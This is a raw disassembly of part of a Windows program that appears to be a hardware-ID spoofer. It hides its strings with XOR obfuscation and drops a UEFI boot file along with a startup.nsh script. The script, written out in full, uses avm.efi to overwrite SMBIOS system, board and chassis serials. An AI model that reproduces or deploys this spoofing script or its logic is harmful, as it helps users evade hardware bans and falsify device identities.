call fcn.14000c2c0
movsd xmm0, qword [0x1404dcbd0]
lea rdx, [rbp + 0x870]
mov r8, rax
movsd qword [rbp + 0x870], xmm0
lea rcx, [rbp + 0x878]
call fcn.14003ea70
mov r8, rbx
lea rcx, [rbp + 0x880]
mov rdx, rax
call fcn.14003ea70
mov rdx, rax
lea rcx, [rbp + 0x888]
movaps xmm2, xmm7
call fcn.14003ea20
mov r8, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x890]
call fcn.14003ea40
lea r9, str.Machine_Virtualized_Succesfully_
mov qword [rsp + 0x20], r14
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.140024790
call fcn.140013250
movss xmm1, dword [0x14015d354]
lea rcx, [0x1404de3c0]
mov rsi, rax
call fcn.140004fb0
movaps xmm2, xmm6
lea rcx, [rbp + 0x898]
movaps xmm1, xmm14
mov edi, eax
call fcn.140001d30
movss xmm0, dword [0x14015d594]
mov rbx, rax
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rdx, str.Restart_PC_To_Apply_Changes
lea rcx, [rbp + 0x8a0]
call fcn.14000c2c0
movsd xmm0, qword [0x1404dcbd0]
lea rdx, [rbp + 0x8a8]
mov r8, rax
movsd qword [rbp + 0x8a8], xmm0
lea rcx, [rbp + 0x8b0]
call fcn.14003ea70
mov r8, rbx
lea rcx, [rbp + 0x8b8]
mov rdx, rax
call fcn.14003ea40
mov rdx, rax
lea rcx, [rbp + 0x8c0]
movaps xmm2, xmm7
call fcn.14003ea20
mov r8, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x8c8]
call fcn.14003ea40
lea r9, str.Restart_PC_To_Apply_Changes
mov qword [rsp + 0x20], r14
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.140024790
movss xmm0, dword [0x1404de2f0]
comiss xmm0, dword [0x14015d480]
jbe 0x14006f36d
mov dword [0x1404de2f0], 0
cmp dword [0x1404dddb8], 0xf
jne 0x14006fe94
movss xmm2, dword [0x14015d4a4]
lea rcx, [rbp + 0x8d0]
movss xmm1, dword [0x14015d500]
addss xmm12, dword [0x14015d39c]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
mov edx, 0xff
mov dword [rsp + 0x20], r14d
mov r9d, edx
lea rcx, [rbp + 0x19a0]
mov r8d, edx
call fcn.140030420
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x19b0]
mov edx, 0x64
mov rbx, rax
call fcn.140030420
movss xmm2, dword [0x14015d3e4]
mov r9, rax
movss xmm1, dword [0x14015d418]
xor eax, eax
mov byte [rbp], al
movabs rdi, 0xcaed3bae5282b2c6
mov byte [rbp], al
movabs rsi, 0x61aa5c1777dc8d5d
mov byte [rbp], al
movabs rax, 0x61cd327e13bde211
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x19c0], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x19c8], rcx
lea rcx, [rbp + 0x19c0]
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x19d0], rax
mov dword [rsp + 0x38], r14d
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d8], rax
xorps xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x19c0], xmm0
movss xmm0, dword [0x14015d3dc]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14015d3f0]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d9f0
movss xmm2, dword [0x14015d4c0]
lea rcx, [rbp + 0x8d8]
movss xmm1, dword [0x14015d4dc]
call fcn.140001d30
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x19e0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x6c4357118b3fd0e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3980], rax
movabs rax, 0xae884fdc33f6e1e6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3988], rax
movabs rax, 0xc75c926dff5d4665
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movss xmm3, dword [0x14015d3ac]
lea r8, [rbp + 0x10]
mov qword [rbp + 0x3990], rax
lea rdx, [rbp + 0x3980]
movabs rcx, 0x33a66fbccd7eb820
unpcklps xmm6, xmm7
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3998], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39a0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39a8], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39b0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1404ddd98]
mov qword [rbp + 0x39b8], rax
vmovdqu ymm0, ymmword [rbp + 0x39a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3980]
vmovss xmm0, dword [0x14015d41c]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x3980], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140044e90
lea rdx, str.Acer_Restore_Point
lea rcx, [rbp + 0x39c0]
call fcn.140077640
comiss xmm12, dword [0x14015d55c]
jbe 0x14006f624
lea rcx, [rbp + 0x39c0]
call fcn.1400428c0
xor eax, eax
lea rcx, [rbp + 0x50c0]
mov byte [rbp], al
xorps xmm0, xmm0
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x388a287412b0e80e
movups xmmword [rbp + 0x50d0], xmm0
movups xmmword [rbp + 0x50c0], xmm0
movups xmmword [rbp + 0x50e0], xmm0
movups xmmword [rbp + 0x50f0], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x19f0], rax
movabs rax, 0xcaaf68fb72f0c7a9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x19f8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a00], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x19f0]
mov qword [rbp + 0x1a08], rax
lea rax, [rbp + 0x19f0]
xorps xmm0, xmmword [rbp + 0x1a00]
movdqa xmmword [rbp + 0x19f0], xmm0
mov qword [rbp + 0x50d8], rax
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov rbx, rax
test rax, rax
je 0x14006fb4d
lea rdx, [rbp + 0xad70]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x8e0]
mov qword [rbp + 0x8e0], r14
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x14006f721
mov rcx, qword [rbp + 0x8e0]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rbp + 0x8e0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xor eax, eax
lea rdx, [rbp + 0xad70]
mov byte [rbp], al
lea rcx, [rbp + 0x39e0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61c35c7177b98d01
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a10], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a18], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a20], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a28], rax
movdqa xmm0, xmmword [rbp + 0x1a20]
xorps xmm0, xmmword [rbp + 0x1a10]
movdqa xmmword [rbp + 0x1a10], xmm0
call fcn.140077640
lea r8, [rbp + 0x1a10]
mov rdx, rax
lea rcx, [rbp + 0x3a00]
call fcn.1400789a0
lea rcx, [rbp + 0x39e0]
call fcn.14003ec10
xor eax, eax
lea r8, [rbp + 0x1a30]
mov byte [rbp], al
lea rdx, [rbp + 0x3a00]
mov byte [rbp], al
lea rcx, [rbp + 0x3a20]
mov byte [rbp], al
movabs rax, 0x61c55c7877be8d01
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a30], rax
movabs rax, 0xcaed3bae5282b2b2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a38], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a40], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a48], rax
movdqa xmm0, xmmword [rbp + 0x1a40]
xorps xmm0, xmmword [rbp + 0x1a30]
movdqa xmmword [rbp + 0x1a30], xmm0
call fcn.140078830
lea rcx, [rbp + 0x3a00]
call fcn.1400775b0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14006f876
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14006fb35
lea rcx, [rbp + 0x3a20]
call fcn.1400775b0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14006f8a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14006fb35
xor eax, eax
movabs rdx, 0xc75c926dff5d466f
mov byte [rbp], al
movabs rcx, 0x33a66fbccd7eb820
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61c75c6177bd8d01
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a40], rax
movabs rax, 0xca843bc852e7b2e8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a48], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a50], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a58], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a68], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0xad70]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a70], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x3a80]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a78], rax
vmovdqu ymm0, ymmword [rbp + 0x3a60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a40]
vmovdqu ymmword [rbp + 0x3a40], ymm1
vzeroupper
call fcn.140077640
lea r8, [rbp + 0x3a40]
mov rdx, rax
lea rcx, [rbp + 0x3aa0]
call fcn.1400789a0
lea rcx, [rbp + 0x3a80]
call fcn.14003ec10
lea rcx, [rbp + 0x3aa0]
call fcn.1400775b0
mov rdx, rax
lea rcx, [rbp + 0x3ac0]
call fcn.140077640
mov r8d, 0x596b0
lea rdx, [0x1402e6be0]
lea rcx, [rbp + 0x3ac0]
call fcn.140040400
lea rcx, [rbp + 0x3ac0]
call fcn.14003ec10
lea r8, str._startup.nsh
lea rdx, [rbp + 0x3a20]
lea rcx, [rbp + 0x3ae0]
call fcn.140078830
lea r8, str._bootx64.efi
lea rdx, [rbp + 0x3a20]
lea rcx, [rbp + 0x3b00]
call fcn.140078830
lea rcx, [rbp + 0x3ae0]
call fcn.1400775b0
mov rdx, rax
lea rcx, [rbp + 0x3b20]
call fcn.140077640
mov r8d, 0x42c
lea rdx, str.echo__on_r_n_r_n_r_ngoto_SPOOFSERIAL_r_n_r_n:SPOOFSERIAL_r_n_r_n____avm.efi__SS_DefaultString__r_n______r_n____avm.efi__SU_AUTO__r_n______r_n____avm.efi__IVN_DefaultString__r_n______r_n____avm.efi__IV_DefaultString__r_n______r_n____avm.efi__ID_DefaultString__r_n______r_n____avm.efi__SM_DefaultString__r_n______r_n____avm.efi__SP_DefaultString__r_n______r_n____avm.efi__SV_DefaultString__r_n______r_n____avm.efi__SK_DefaultString__r_n______r_n____avm.efi__SF_DefaultString__r_n______r_n____avm.efi__BM_DefaultString__r_n______r_n____avm.efi__BP_DefaultString__r_n______r_n____avm.efi__BV_DefaultString__r_n______r_n____avm.efi__BS_DefaultString__r_n______r_n____avm.efi__BT_DefaultString__r_n______r_n____avm.efi__BLC_DefaultString__r_n______r_n____avm.efi__CM_DefaultString__r_n______r_n____avm.efi__CT_DefaultString__r_n______r_n____avm.efi__CV_DefaultString__r_n______r_n____avm.efi__CS_DefaultString__r_n______r_n____avm.efi__CA_DefaultString__r_n______r_n____avm.efi__CO_DefaultString__r_n______r_n____avm.efi__CH_DefaultString__r_n______r_n____avm.efi__CPC_DefaultString__r_n______r_n____avm.efi__CSK_DefaultString__r_n______r_n_r_ngoto_EXIT_r_n_r_n_r_n_r_n:EXIT_r_nexit_r_ngoto_END_r_n_r_n:END
lea rcx, [rbp + 0x3b20]
call fcn.140040400
lea rcx, [rbp + 0x3b20]
call fcn.14003ec10
lea rcx, [rbp + 0x3b00]
call fcn.1400775b0
mov rdx, rax
lea rcx, [rbp + 0x3b40]
call fcn.140077640
mov r8d, 0xeb640
lea rdx, [0x1401d1b30]
lea rcx, [rbp + 0x3b40]
call fcn.140040400
lea rcx, [rbp + 0x3b40]
call fcn.14003ec10
lea rcx, [rbp + 0x3aa0]
call fcn.1400775b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006fb11
lea rcx, [rbp + 0x3ae0]
call fcn.1400775b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006fb11
lea rcx, [rbp + 0x3b00]
call fcn.1400775b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006fb11
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Arquivos_baixados_com_sucesso_em:
call fcn.140078a10
mov rcx, rax
lea rdx, [rbp + 0xad70]
call fcn.140078a10
lea rdx, [0x140078bf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3b00]
call fcn.14003ec10
lea rcx, [rbp + 0x3ae0]
call fcn.14003ec10
lea rcx, [rbp + 0x3aa0]
call fcn.14003ec10
lea rcx, [rbp + 0x3a20]
call fcn.14003ec10
lea rcx, [rbp + 0x3a00]
call fcn.14003ec10
xor eax, eax
lea rdx, [rbp + 0x1a50]
mov byte [rbp], al
lea rcx, [rbp + 0x3b60]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x12d839642280b71e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a50], rax
movabs rax, 0xcaed3bae5282b29a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a58], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1a50]
mov qword [rbp + 0x1a68], rax
xorps xmm0, xmmword [rbp + 0x1a60]
movdqa xmmword [rbp + 0x1a50], xmm0
call fcn.1400778a0
lea rdx, [rbp + 0xac60]
lea rcx, [rbp + 0x3b60]
call fcn.140077820
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xde3d5307accc01
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6380], rax
movabs rax, 0xad8352c333ede09a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6388], rax
movabs rax, 0xa82ffd1f9c340b33
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6390], rax
movabs rax, 0x5cc201d59a22cc46
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6398], rax
movabs rax, 0xa950da4f44576246
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63a0], rax
movabs rax, 0xae062297cc2dcdca
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63a8], rax
movabs rax, 0xdd03da8c6e5ce36c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63b0], rax
movabs rax, 0x25809ea5d28d2b00
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63b8], rax
movabs rax, 0x4f63e8c69a542580
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63c0], rax
movabs rax, 0x56d425a6a080d12b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x63c8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5980], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5988], rax
movabs rax, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5990], rax
movabs rax, 0x33a66fbccd7eb820
lea rdx, [rbp + 0x6380]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x3b60]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5998], rax
movabs rax, 0xdd22bb3b170b1131
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x59a0], rax
movabs rax, 0xdc567ee2a24880ea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x59a8], rax
movabs rax, 0x8e5fa9e10f2e8403
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x59b0], rax
movabs rax, 0x61dceed0a6ff4a74
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x59b8], rax
movabs rax, 0x3706c68fdc1149e5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x59c0], rax
movabs rax, 0x56d425a6a080d14e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5980]
vpxor ymm1, ymm0, ymmword [rbp + 0x6380]
vmovdqu ymm0, ymmword [rbp + 0x63a0]
vmovdqa xmm2, xmmword [rbp + 0x63c0]
vmovdqa ymmword [rbp + 0x6380], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x59a0]
mov qword [rbp + 0x59c8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x59c0]
vmovdqa ymmword [rbp + 0x63a0], ymm1
vmovdqa xmmword [rbp + 0x63c0], xmm2
vzeroupper
call fcn.140077820
lea rcx, [rbp + 0x3b60]
call fcn.140077710
mov rdx, rax
lea rcx, [rbp + 0x3b80]
call fcn.1400778a0
mov r8d, 0x9a00
lea rdx, [0x1403ef6d0]
lea rcx, [rbp + 0x3b80]
call fcn.140040580
lea rcx, [rbp + 0x3b80]
call fcn.140077840
lea rcx, [rbp + 0x3b60]
mov dword [0x1404dddb8], 0xc
movaps xmm12, xmm14
call fcn.140077840
lea rcx, [rbp + 0x39c0]
call fcn.14003ec10
call fcn.140011e70
call fcn.14000bea0
mov rcx, qword [0x1404de2e0]
lea r8, [0x1404de288]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x1a70], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1404de2e0]
lea r8, [rbp + 0x1a70]
mov rdx, qword [0x1404de288]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140008fc0
mov rcx, rax
call fcn.14003a0f0
mov rcx, qword [0x1404de2d0]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
movss xmm7, dword [0x14015d418]
mov rdi, qword [rbp + 0x150]
jmp 0x140046257
call fcn.14003b420
call fcn.14003b810
xor ecx, ecx
call fcn.140006c50
call fcn.1400761e0
mov rcx, qword [0x1404dde40]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x5778]
mov rcx, qword [rbp + 0x57a0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x930]
mov r13d, r14d
call fcn.140076050
lea rcx, [rbp + 0x1dd8]
call fcn.140077840
lea rcx, [rbp + 0x5fc0]
call fcn.140075f50
mov eax, r13d
lea r11, [rsp + 0xb0a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret